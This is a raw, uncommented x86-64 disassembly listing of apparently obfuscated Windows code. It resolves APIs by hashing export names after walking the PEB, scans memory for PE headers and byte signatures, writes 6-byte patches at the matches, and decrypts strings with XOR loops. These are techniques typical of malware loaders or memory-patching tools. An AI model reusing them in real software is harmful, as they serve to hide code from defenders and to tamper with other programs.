xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14006f6b0
cmp r8d, 0x9f3e97b0
je 0x14006f6dc
test r9d, r9d
jne 0x14006f690
mov rax, qword [rax]
jmp 0x14006f660
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
jmp 0x140070bda
mov rdi, rsi
movabs r14, 0x200000000
nop dword [rax]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, 2
mov rcx, rdi
mov rdx, rax
mov rbx, rax
call fcn.14006deb0
cmp byte [rbx], 0x4d
jne 0x14006f73e
cmp byte [rbx + 1], 0x5a
je 0x14006f7fe
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add rdi, 0x100000
cmp rdi, r14
jb 0x14006f710
movzx eax, word [0x14014ced8]
movsd xmm0, qword [str.DTCD__atnp]
movsd qword [rsp + 0x48], xmm0
mov word [rsp + 0x50], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14006f7f9
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14006f7f9
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0xae9337b5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14006f7f4
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x14006f7d0
cmp edx, 0x857468c
je 0x140070b8a
test r9d, r9d
jne 0x14006f7b0
mov rax, qword [rax]
jmp 0x14006f780
test rdi, rdi
je 0x14006f753
mov ecx, 0xbfffff
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, 0xbfffff
mov rcx, rdi
mov rdx, rax
mov qword [rsp + 0x60], rax
mov rbx, rax
call fcn.14006deb0
movzx r8d, byte [0x14019b760]
lea rcx, [rbx + 2]
movzx r10d, byte [0x14019b76f]
mov edx, esi
movzx eax, byte [0x14019b76a]
movzx r14d, byte [0x14019b76c]
mov qword [rsp + 0x40], rsi
test r8b, r8b
je 0x14006f864
cmp byte [rcx - 2], r8b
jne 0x14006f9df
cmp byte [0x14019b761], sil
movzx r11d, byte [0x14019b76e]
je 0x14006f88f
movzx r14d, byte [0x14019b761]
cmp byte [rcx - 1], r14b
movzx r14d, byte [0x14019b76c]
jne 0x14006f9df
cmp byte [0x14019b762], sil
movzx r13d, byte [0x14019b768]
je 0x14006f8b1
movzx r9d, byte [0x14019b762]
cmp byte [rcx], r9b
jne 0x14006f9df
cmp byte [0x14019b763], sil
movzx r12d, byte [0x14019b769]
je 0x14006f8dc
movzx r10d, byte [0x14019b763]
cmp byte [rcx + 1], r10b
movzx r10d, byte [0x14019b76f]
jne 0x14006f9df
cmp byte [0x14019b764], sil
movzx r15d, byte [0x14019b76b]
je 0x14006f904
movzx eax, byte [0x14019b764]
cmp byte [rcx + 2], al
movzx eax, byte [0x14019b76a]
jne 0x14006f9df
cmp byte [0x14019b765], sil
movzx ebx, byte [0x14019b76d]
je 0x14006f92e
movzx r14d, byte [0x14019b765]
cmp byte [rcx + 3], r14b
movzx r14d, byte [0x14019b76c]
jne 0x14006f9df
cmp byte [reloc.WS2_32.dll_getpeername], sil
movzx r8d, byte [0x14019b760]
je 0x14006f959
movzx r11d, byte [reloc.WS2_32.dll_getpeername]
cmp byte [rcx + 4], r11b
movzx r11d, byte [0x14019b76e]
jne 0x14006f9df
cmp byte [0x14019b767], sil
movzx r9d, byte [0x14019b770]
je 0x14006f980
movzx r10d, byte [0x14019b767]
cmp byte [rcx + 5], r10b
movzx r10d, byte [0x14019b76f]
jne 0x14006f9df
test r13b, r13b
je 0x14006f98b
cmp byte [rcx + 6], r13b
jne 0x14006f9df
test r12b, r12b
je 0x14006f996
cmp byte [rcx + 7], r12b
jne 0x14006f9df
test al, al
je 0x14006f99f
cmp byte [rcx + 8], al
jne 0x14006f9df
test r15b, r15b
je 0x14006f9aa
cmp byte [rcx + 9], r15b
jne 0x14006f9df
test r14b, r14b
je 0x14006f9b5
cmp byte [rcx + 0xa], r14b
jne 0x14006f9df
test bl, bl
je 0x14006f9be
cmp byte [rcx + 0xb], bl
jne 0x14006f9df
test r11b, r11b
je 0x14006f9c9
cmp byte [rcx + 0xc], r11b
jne 0x14006f9df
test r10b, r10b
je 0x14006f9d4
cmp byte [rcx + 0xd], r10b
jne 0x14006f9df
test r9b, r9b
je 0x14006f9f2
cmp byte [rcx + 0xe], r9b
je 0x14006f9f2
inc edx
inc rcx
cmp edx, 0xbfffff
jb 0x14006f855
jmp 0x14006f9fd
movsxd rax, edx
add rax, rdi
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0xbfffff
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, 0xbfffff
mov rcx, rdi
mov rdx, rax
mov qword [rsp + 0x60], rax
mov rbx, rax
call fcn.14006deb0
movzx r8d, byte [0x140187640]
lea rcx, [rbx + 2]
movzx eax, byte [0x14018764e]
mov edx, esi
movzx r14d, byte [0x140187650]
nop dword [rax]
test r8b, r8b
je 0x14006fa5f
cmp byte [rcx - 2], r8b
jne 0x14006fc63
cmp byte [0x140187641], sil
je 0x14006fa82
movzx r14d, byte [0x140187641]
cmp byte [rcx - 1], r14b
movzx r14d, byte [0x140187650]
jne 0x14006fc63
cmp byte [0x140187642], sil
movzx r8d, byte [0x140187640]
je 0x14006faa4
movzx r9d, byte [0x140187642]
cmp byte [rcx], r9b
jne 0x14006fc63
cmp byte [0x140187643], sil
movzx r10d, byte [0x140187653]
je 0x14006fac7
movzx r15d, byte [0x140187643]
cmp byte [rcx + 1], r15b
jne 0x14006fc63
cmp byte [0x140187644], sil
je 0x14006fae7
movzx eax, byte [0x140187644]
cmp byte [rcx + 2], al
movzx eax, byte [0x14018764e]
jne 0x14006fc63
cmp byte [0x140187645], sil
movzx r11d, byte [0x140187652]
je 0x14006fb12
movzx r14d, byte [0x140187645]
cmp byte [rcx + 3], r14b
movzx r14d, byte [0x140187650]
jne 0x14006fc63
cmp byte [reloc.WS2_32.dll_htonl], sil
movzx r13d, byte [0x14018764c]
je 0x14006fb35
movzx r9d, byte [reloc.WS2_32.dll_htonl]
cmp byte [rcx + 4], r9b
jne 0x14006fc63
cmp byte [0x140187647], sil
movzx r12d, byte [0x14018764d]
je 0x14006fb60
movzx r10d, byte [0x140187647]
cmp byte [rcx + 5], r10b
movzx r10d, byte [0x140187653]
jne 0x14006fc63
cmp byte [0x140187648], sil
movzx r15d, byte [0x14018764f]
je 0x14006fb88
movzx eax, byte [0x140187648]
cmp byte [rcx + 6], al
movzx eax, byte [0x14018764e]
jne 0x14006fc63
cmp byte [reloc.WS2_32.dll_WSASetLastError], sil
movzx ebx, byte [0x140187651]
je 0x14006fbb2
movzx r14d, byte [reloc.WS2_32.dll_WSASetLastError]
cmp byte [rcx + 7], r14b
movzx r14d, byte [0x140187650]
jne 0x14006fc63
cmp byte [reloc.WS2_32.dll_recv], sil
movzx r8d, byte [0x140187640]
je 0x14006fbdd
movzx r11d, byte [reloc.WS2_32.dll_recv]
cmp byte [rcx + 8], r11b
movzx r11d, byte [0x140187652]
jne 0x14006fc63
cmp byte [0x14018764b], sil
movzx r9d, byte [0x140187654]
je 0x14006fc04
movzx r10d, byte [0x14018764b]
cmp byte [rcx + 9], r10b
movzx r10d, byte [0x140187653]
jne 0x14006fc63
test r13b, r13b
je 0x14006fc0f
cmp byte [rcx + 0xa], r13b
jne 0x14006fc63
test r12b, r12b
je 0x14006fc1a
cmp byte [rcx + 0xb], r12b
jne 0x14006fc63
test al, al
je 0x14006fc23
cmp byte [rcx + 0xc], al
jne 0x14006fc63
test r15b, r15b
je 0x14006fc2e
cmp byte [rcx + 0xd], r15b
jne 0x14006fc63
test r14b, r14b
je 0x14006fc39
cmp byte [rcx + 0xe], r14b
jne 0x14006fc63
test bl, bl
je 0x14006fc42
cmp byte [rcx + 0xf], bl
jne 0x14006fc63
test r11b, r11b
je 0x14006fc4d
cmp byte [rcx + 0x10], r11b
jne 0x14006fc63
test r10b, r10b
je 0x14006fc58
cmp byte [rcx + 0x11], r10b
jne 0x14006fc63
test r9b, r9b
je 0x14006fc79
cmp byte [rcx + 0x12], r9b
je 0x14006fc79
inc edx
inc rcx
cmp edx, 0xbfffff
jb 0x14006fa50
mov rbx, rsi
jmp 0x14006fc7f
movsxd rbx, edx
add rbx, rdi
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rdi, qword [rsp + 0x40]
test rdi, rdi
je 0x140070adf
test rbx, rbx
je 0x140070adf
mov r8d, 6
lea rdx, [0x14019d8c0]
mov rcx, rdi
call fcn.14006deb0
mov r8d, 6
lea rdx, [0x14019d8a4]
mov rcx, rbx
call fcn.14006deb0
lea rdx, [0x140187658]
mov rcx, rdi
call fcn.14006dfb0
lea rdx, [0x140187658]
mov rcx, rbx
call fcn.14006dfb0
mov rdx, qword [rbp - 0x70]
mov rcx, qword [rsp + 0x48]
call fcn.14006e220
lea rdx, [0x14019d8c0]
mov rcx, rdi
call fcn.14006dfb0
lea rdx, [0x14019d8a4]
mov rcx, rbx
call fcn.14006dfb0
cmp byte [str.OWYE7], sil
movups xmm0, xmmword [0x14014cf70]
mov eax, dword [0x14014cf88]
mov edi, dword [reloc.WS2_32.dll_accept]
movups xmmword [rbp + 0x20], xmm0
mov dword [rbp + 0x38], eax
movsd xmm0, qword [0x14014cf80]
mov eax, dword [0x14014cfc0]
movsd qword [rbp + 0x30], xmm0
movups xmm0, xmmword [0x14014cfa8]
mov dword [rbp - 8], eax
movzx eax, word [0x14014cfc4]
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 4], ax
movsd xmm0, qword [0x14014cfb8]
movsd qword [rbp - 0x10], xmm0
je 0x14006fec1
mov r8d, esi
cmp edi, 2
jl 0x14006fe7d
movdqa xmmword [rsp + 0x60], xmm12
lea rcx, [rbp + 0x24]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14006fd90
cmp r8d, 0x1c
jge 0x14006fec1
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x14006fe90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14006ff55
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14006ff55
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0xd47b451e
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14006ff50
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x14006ff30
cmp edx, 0xb302f97f
je 0x14006ff5a
test r9d, r9d
jne 0x14006ff10
mov rax, qword [rax]
jmp 0x14006fee0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
lea rcx, [rbp + 0x20]
add rax, r10
call rax
cmp byte [rbp + 0x3b], sil
jne 0x1400700d1
mov r8d, esi
cmp edi, 2
jl 0x14007008d
movdqa xmmword [rsp + 0x60], xmm12
lea rcx, [rbp + 0x24]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14006ffa0
cmp r8d, 0x1c
jge 0x1400700d1
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x1400700a0
cmp byte [rbp - 3], sil
je 0x140070231
mov r8d, esi
cmp edi, 2
jl 0x1400701ed
movdqa xmmword [rsp + 0x60], xmm12
lea rcx, [rbp - 0x1c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140070100
cmp r8d, 0x1e
jge 0x140070231
movsxd rax, r8d
lea r9, [rbp - 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x140070200
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400702c5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400702c5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x41e18a6b
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400702c0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400702a0
cmp edx, 0x88aa4c12
je 0x1400702ca
test r9d, r9d
jne 0x140070280
mov rax, qword [rax]
jmp 0x140070250
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
lea rcx, [rbp - 0x20]
add rax, r10
call rax
cmp byte [rbp - 3], sil
jne 0x140070441
mov r8d, esi
cmp edi, 2
jl 0x1400703fd
movdqa xmmword [rsp + 0x60], xmm12
lea rcx, [rbp - 0x1c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140070310
cmp r8d, 0x1e
jge 0x140070441
movsxd rax, r8d
lea r9, [rbp - 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x140070410
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x14014cf40]
movups xmm0, xmmword [0x14014cf30]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x14014cf44]
movups xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x44], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400704f5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400704f5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x5894b081
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400704f0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400704d0
cmp edx, 0xe0ef0f7e
je 0x1400704fa
test r9d, r9d
jne 0x1400704b0
mov rax, qword [rax]
jmp 0x140070480
mov eax, dword [rbx + 0x24]
mov r8d, esi
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp edi, 2
jl 0x140070719
movdqa xmm3, xmmword [0x1401516c0]
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm11
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movd eax, xmm12
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x14014cf30]
xorps xmm1, xmm0
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movd dword [rbp - 0x58], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x54]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movd dword [rbp - 0x54], xmm2
movdqa xmm2, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x50]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rbp - 0x50], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movdqa xmm2, xmmword [0x1401516d0]
andps xmm3, xmm8
movd xmm1, dword [rbp - 0x4c]
mov r8d, reloc.WS2_32.dll_sendto
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
xorps xmm3, xmm1
movdqa xmm1, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rbp - 0x4c], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x48]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x48], xmm2
mov eax, r8d
lea r9, [rbp - 0x58]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x140070730
lea rcx, [rbp - 0x58]
call r11
movzx eax, byte [0x14014cf68]
mov ecx, esi
mov byte [rbp - 0x48], al
movups xmm2, xmmword [0x14014cf58]
movups xmmword [rbp - 0x58], xmm2
cmp edi, 2
jl 0x140070921
movd eax, xmm2
movdqa xmm1, xmm7
movdqa xmm2, xmmword [0x1401516c0]
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movd ecx, xmm12
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movd dword [rbp - 0x58], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x54]
pmulld xmm0, xmm9
psubd xmm11, xmm0
movd xmm0, ecx
andps xmm11, xmm8
packuswb xmm11, xmm11
packuswb xmm11, xmm11
paddb xmm11, xmm0
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
xorps xmm11, xmm1
pmuldq xmm0, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movd dword [rbp - 0x54], xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x50]
pmulld xmm0, xmm9
psubd xmm10, xmm0
movd xmm0, ecx
andps xmm10, xmm8
packuswb xmm10, xmm10
packuswb xmm10, xmm10
paddb xmm10, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
xorps xmm10, xmm1
pmuldq xmm0, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rbp - 0x50], xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
movd xmm1, dword [rbp - 0x4c]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
mov ecx, reloc.WS2_32.dll_recv
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x4c], xmm2
mov eax, ecx
lea r8, [rbp - 0x58]
add r8, rax
nop word [rax + rax]
mov eax, 0x5397829d
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
